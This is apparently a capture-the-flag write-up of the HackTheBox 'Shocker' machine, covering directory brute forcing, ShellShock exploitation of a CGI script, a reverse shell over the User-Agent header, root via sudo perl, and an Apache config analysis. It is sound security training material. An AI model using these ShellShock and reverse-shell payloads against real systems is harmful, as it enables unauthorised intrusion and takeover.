The name Shocker gives away pretty quickly what I’ll need to do on this box. There were a couple things to look out for along the way. First, I’ll need to be careful when directory brute forcing, as the server is misconfigured in that the cgi-bin directory doesn’t show up without a trailing slash. This means that tools like gobuster and feroxbuster miss it in their default state. I’ll show both manually exploiting ShellShock and using the nmap script to identify it is vulnerable. Root is a simple GTFObin in perl. In Beyond Root, I’ll look at the Apache config and go down a rabbit hole looking at what commands cause execution to stop in ShellShock and try to show how I experimented to come up with a theory that seems to explain what’s happening.

Box Info

Name Shocker Shocker
Play on HackTheBox
Release Date 30 Sep 2017
Retire Date 17 Feb 2018
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Shocker
Radar Graph Radar chart for Shocker
First Blood User 16 mins, 45 seconds dostoevskylabs
First Blood Root 27 mins, 23 seconds dostoevskylabs
Creator mrb3n



nmap found two open TCP ports, SSH (2222) and HTTP (80):

oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.91 ( ) at 2021-05-16 06:29 EDT
Nmap scan report for
Host is up (0.025s latency).
Not shown: 65533 closed ports
80/tcp   open  http
2222/tcp open  EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 11.18 seconds
oxdf@parrot$ nmap -p 80,2222 -sCV -oA scans/nmap-tcpscripts
Starting Nmap 7.91 ( ) at 2021-05-16 06:30 EDT
Nmap scan report for
Host is up (0.018s latency).

80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.35 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 16.04.

Website - TCP 80


The site is incredibly simple:


The page source is quite short:

<!DOCTYPE html>

<h2>Don't Bug Me!</h2>
<img src="bug.jpg" alt="bug" style="width:450px;height:350px;">


Directory Brute Force

FeroxBuster, even with a couple extensions as just a guess, only finds index.html and a 403 forbidden on server-status, which is typical for Apache:

oxdf@parrot$ feroxbuster -u -x php,html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.2.1
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.2.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php, html]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Cancel Menu™
200        9l       13w      137c
403       11l       32w      299c
[####################] - 42s   179994/179994  0s      found:2       errors:0      
[####################] - 42s    89997/89997   2133/s

There’s a misconfiguration on Shocker that’s worth understanding. Typically, most webservers will handle a request to a directory without a trailing slash by sending a redirect to the same path but with the trailing slash. But in this case, there is a directory on Shocker that sends a 404 Not Found with visited without the trailing slash. I’ll dig into the configuration and why in Beyond Root.

Tools like dirsearch and dirb actually take the input wordlist and loop over each entry sending two requests, with and without the trailing slash. This is really helpful in a case like shocker, but will double the amount of requests sent (and thus time) each time there’s a scan. Both gobuster and feroxbuster have a -f flag to force adding the / to the end of directories. For Shocker, running with -f does find something else:

oxdf@parrot$ feroxbuster -u -f -n

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.2.1
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.2.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🪓  Add Slash             │ true
 🚫  Do Not Recurse        │ true
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Cancel Menu™
403       11l       32w      294c
403       11l       32w      292c
403       11l       32w      300c
[####################] - 15s    29999/29999   0s      found:3       errors:0      
[####################] - 14s    29999/29999   2039/s

I show with -n because crawling in /server-status prints a ton with -f.

feroxbuster again on the /cgi-bin/ directory with some common script types used for CGI:

oxdf@parrot$ feroxbuster -u -x sh,cgi,pl

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.2.1
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.2.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [sh, cgi, pl]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Cancel Menu™
200        7l       17w        0c
[####################] - 57s   359988/359988  0s      found:1       errors:0      
[####################] - 57s   119996/119996  2089/s

Just one,

Visiting /cgi-bin/ returns a file that Firefox isn’t sure how to handle:


Opening it in a text editor shows the content:

Content-Type: text/plain

Just an uptime test script

 07:03:54 up 13:33,  0 users,  load average: 0.06, 0.11, 0.04

Not important to hacking Shocker, but the reason that Firefox pops the open or save file dialog rather than showing this in the browser can be seen in the raw response (seen in Burp):


The Content-Type header is text/x-sh, which is not something Firefox knows what to do with, so it goes to the raw file dialog. It looks like the script maybe trying to add a text/plain header, but it’s after the empty line, so it’s in the body not the header.

More importantly, this looks like the output of the uptime command in Linux, suggesting this is a CGI bash script running on Shocker:

oxdf@parrot$ uptime
 07:08:38 up 5 days, 16:27, 35 users,  load average: 0.00, 0.08, 0.18

Shell as shelly

ShellShock Background

ShellShock, AKA Bashdoor or CVE-2014-6271, was a vulnerability in Bash discovered in 2014 which has to do with the Bash syntax for defining functions. It allowed an attacker to execute commands in places where it should only be doing something safe like defining an environment variable. An initial POC was this:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

This was a big deal because lots of different programs would take user input and use it to define environment variables, the most famous of which was CGI-based web servers. For example, it’s very typically to store the User-Agent string in an environment variable. And since the UA string is completely attacker controlled, this led to remote code execution on these systems.

Finding ShellShock


If I’m ok to assume based on the CGI script and the name of that box that ShellShock is the vector here, I can just test is manually. I’ll send the request for over to Burp Repeater and play with it a bit. Because the UA string is a common target, I’ll try adding the POC there:


Two potential issues to watch out for. First is that commands need full paths, as $PATH variable is empty in the environment in which the ShellShock executes.

Next, I need the echo; as the first command run for the responses to come back in an HTTP response, but it does run either way. For example, I’ll do a ping. Sending User-Agent: () { :;}; echo; /bin/ping -c 1 shows an ICMP packet at tcpdump on my VM:

07:52:43.101742 IP > ICMP echo request, id 12866, seq 1, length 64
07:52:43.101766 IP > ICMP echo reply, id 12866, seq 1, length 64

The results come back in the response:

HTTP/1.1 200 OK
Date: Mon, 17 May 2021 11:57:37 GMT
Server: Apache/2.4.18 (Ubuntu)
Connection: close
Content-Type: text/x-sh
Content-Length: 261

PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=63 time=18.9 ms

--- ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 18.955/18.955/18.955/0.000 ms

If I remove the echo;, and send User-Agent: () { :;}; /bin/ping -c 1, tcpdump still sees the ICMP packet, but the response from the server is a 500. I think that without the newline, it puts the output in the HTTP headers, which is non-compliant stuff in the headers, leading to a crash. That said, I wasn’t able to get things like python3 -c 'print()' to create the newline and return results (though it prevents the 500). I didn’t have a good explanation as to why, but also couldn’t let it go, so more in Beyond Root.


nmap has a script to test for ShellShock. I’ll need to give it the URI for the script to check:

oxdf@parrot$ nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/
Starting Nmap 7.91 ( ) at 2021-05-16 07:17 EDT
Nmap scan report for
Host is up (0.019s latency).

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-shellshock: 
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known
|       as Shellshock. It seems the server is executing commands injected
|       via malicious HTTP headers.
|     Disclosure date: 2014-09-24
|     References:

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds

I captured that in Wireshark to see what it was doing. The request with the exploit check is:

GET /cgi-bin/ HTTP/1.1
Connection: close
Referer: () { :;}; echo; echo -n kgbyrbl; echo pkzxdko
Cookie: () { :;}; echo; echo -n kgbyrbl; echo pkzxdko
User-Agent: () { :;}; echo; echo -n kgbyrbl; echo pkzxdko

First, it’s worth noting that technically this is executing code on the scanned machine. So while it’s just an echo, it’s still RCE, so it’s worth knowing that and making sure you’re within scope / laws / ethics.

The result is multiple prints of the two strings, showing that ShellShock here is successful in Referer, Cookie, and User-Agent.


I’ll start a nc listener on tcp 443, and then send the following:

User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/ 0>&1

The web request hangs, and I get a shell at nc:

oxdf@parrot$ nc -lvnp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 45314
bash: no job control in this shell

I’ll get a full shell with the normal trick:

shelly@Shocker:/usr/lib/cgi-bin$ python3 -c 'import pty;pty.spawn("bash")'
python3 -c 'import pty;pty.spawn("bash")'
shelly@Shocker:/usr/lib/cgi-bin$ ^Z
[1]+  Stopped                 nc -lvnp 443
oxdf@parrot$ stty raw -echo ; fg
nc -lvnp 443
reset: unknown terminal type unknown
Terminal type? screen

And get user.txt:

shelly@Shocker:/home/shelly$ cat user.txt

Shell as root


I also manually check sudo -l before uploading any kind of enumeration script, and it pays off here:

shelly@Shocker:/home/shelly$ sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

shelly can run perl as root.


perl has a -e option that allows me to run Perl from the command line. It also has an exec command that will run shell commands. Putting that together, I can run bash as root:

shelly@Shocker:/home/shelly$ sudo perl -e 'exec "/bin/bash"'

That’s enough to grab root.txt:

root@Shocker:~# cat root.txt

Beyond Root

Apache Config

When I first found the /cgi-bin/ directory on Apache that responded to /cgi-bin with a 404 not found, I assumed it would be due to the DirectorySlash Apache directive:

The DirectorySlash directive determines whether mod_dir should fixup URLs pointing to a directory or not.

Typically if a user requests a resource without a trailing slash, which points to a directory, mod_dir redirects him to the same resource, but with trailing slash for some good reasons:

  • The user is finally requesting the canonical URL of the resource
  • mod_autoindex works correctly. Since it doesn’t emit the path in the link, it would point to the wrong path.
  • DirectoryIndex will be evaluated only for directories requested with trailing slash.
  • Relative URL references inside html pages will work correctly.

If you don’t want this effect and the reasons above don’t apply to you, you can turn off the redirect as shown below.

The default for this directive is On, meaning the redirect is the default behavior.

But after rooting, I couldn’t find this directive. I also noticed that cgi-bin wasn’t in /var/www/html:

root@Shocker:/var/www/html# ls
bug.jpg  index.html

It is apparently standard practice to store CGI scripts in /usr/lib. In fact, when I first landed a shell, the current directory was /usr/lib/cgi-bin.

The mystery unlocked when I started looking at the other Apache config files, specifically /etc/apache2/conf-enabled/serve-cgi-bin.conf:

<IfModule mod_alias.c>
        <IfModule mod_cgi.c>
                Define ENABLE_USR_LIB_CGI_BIN

        <IfModule mod_cgid.c>
                Define ENABLE_USR_LIB_CGI_BIN

        <IfDefine ENABLE_USR_LIB_CGI_BIN>
                ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
                <Directory "/usr/lib/cgi-bin">
                        AllowOverride None
                        Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                        Require all granted

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

The line ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ will match on requests to /cgi-bin/ and alias them into the /usr/lib/cgi-bin/ directory. But it only matches if there’s a trailing slash!

To test this, I removed the trailing slash, leaving:

ScriptAlias /cgi-bin /usr/lib/cgi-bin/

Then I reset Apache on Shocker (service apache2 restart,) and did a curl:

oxdf@parrot$ curl
<title>301 Moved Permanently</title>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="">here</a>.</p>
<address>Apache/2.4.18 (Ubuntu) Server at Port 80</address>

It returned 301 moved permanently.

When I added the slash back into the config and restarted Apache again, it went back to 404:

oxdf@parrot$ curl
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL /cgi-bin was not found on this server.</p>
<address>Apache/2.4.18 (Ubuntu) Server at Port 80</address>

ShellShock Chained Commands

I noticed that I needed to start with an echo in order for the ShellShock results to come back in the HTTP request, or else the server returned 500. I figured that was to separate the HTTP header from the body, and without that, Apache is crashing. To test this theory, I tried to replace echo with python3 -c 'print()', and something strange happened. It didn’t crash, but it didn’t return any data either.

I started down a series of experiment until I think I figured out what was going on.

My first thought was that perhaps Python and echo were outputting different information. At least on my machine this wasn’t the case:

oxdf@parrot$ python3 -c 'print()' | xxd
00000000: 0a                                       .
oxdf@parrot$ echo | xxd
00000000: 0a 

Looking at how each finished didn’t show much difference either:

oxdf@parrot$ strace echo
write(1, "\n", 1
)                       = 1
close(1)                                = 0
close(2)                                = 0
exit_group(0)                           = ?
+++ exited with 0 +++

oxdf@parrot$ strace python3 -c 'print()'
write(1, "\n", 1
)                       = 1
rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fd36b83a140}, {sa_handler=0x6402c0, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fd36b83a140}, 8) = 0
brk(0xdc5000)                           = 0xdc5000
exit_group(0)                           = ?
+++ exited with 0 +++

I started doing experiments to see what the issue could be.

UA String HTTP Code Pings at tcpdump Output in Resp
User-Agent: () { :;}; /usr/bin/python3 -c 'import os;os.system("echo")'; /bin/ping -c 1 200 0 None
User-Agent: () { :;}; /usr/bin/python3 -c 'import os;os.system("/bin/ping -c 1")'; /bin/ping -c 1 500 1 Error
User-Agent: () { :;}; /usr/bin/python3 -c 'import os;os.system("echo; /bin/ping -c 2")'; /bin/ping -c 1 200 2 Ping results from Python
User-Agent: () { :;}; echo; /usr/bin/python3 -c 'import os; os.system("/bin/ping -c 1")'; /usr/bin/id 200 1 Ping results

I noticed pretty quickly that nothing after Python runs. I spent a while trying to figure out what was weird about Python, but that was the wrong way to look at it. I eventually tried Perl:

UA String HTTP Code Pings at tcpdump Output in Resp
User-Agent: () { :;}; /usr/bin/perl -e 'print "\n"'; /bin/ping -c 1 200 0 None

Same result. What about ping after ping?

UA String HTTP Code Pings at tcpdump Output in Resp
User-Agent: () { :;}; echo; /bin/ping -c 1; /bin/ping -c 1; /bin/ping -c 1; 200 1 One set of pings

It’s looking more and more that any command kills the execution. So why not echo? Well, echo is a Bash builtin. What about other builtins (see man bash), like printf and dirs?

UA String HTTP Code Pings at tcpdump Output in Resp
User-Agent: () { :;}; printf "\n"; /usr/bin/id 200 N/A id
User-Agent: () { :;}; echo; dirs; /usr/bin/id 200 N/A output of dirs and id

At this point, I don’t have any proof (I could go debugging Apache, but ugh, threads, sounds like a huge pain). I do have a good theory that I can’t find counter-examples for, and it’s this: Shellshock will run as many Bash builtins as given up to the first binary called and then stop. A slight caveat to that is that pipes don’t seem to break it. For example, I can pipe id into cut to get the first 10 characters of output without issue, even though neither cut nor id are builtins:


;, &&, and || following a all seem to break execution at that point.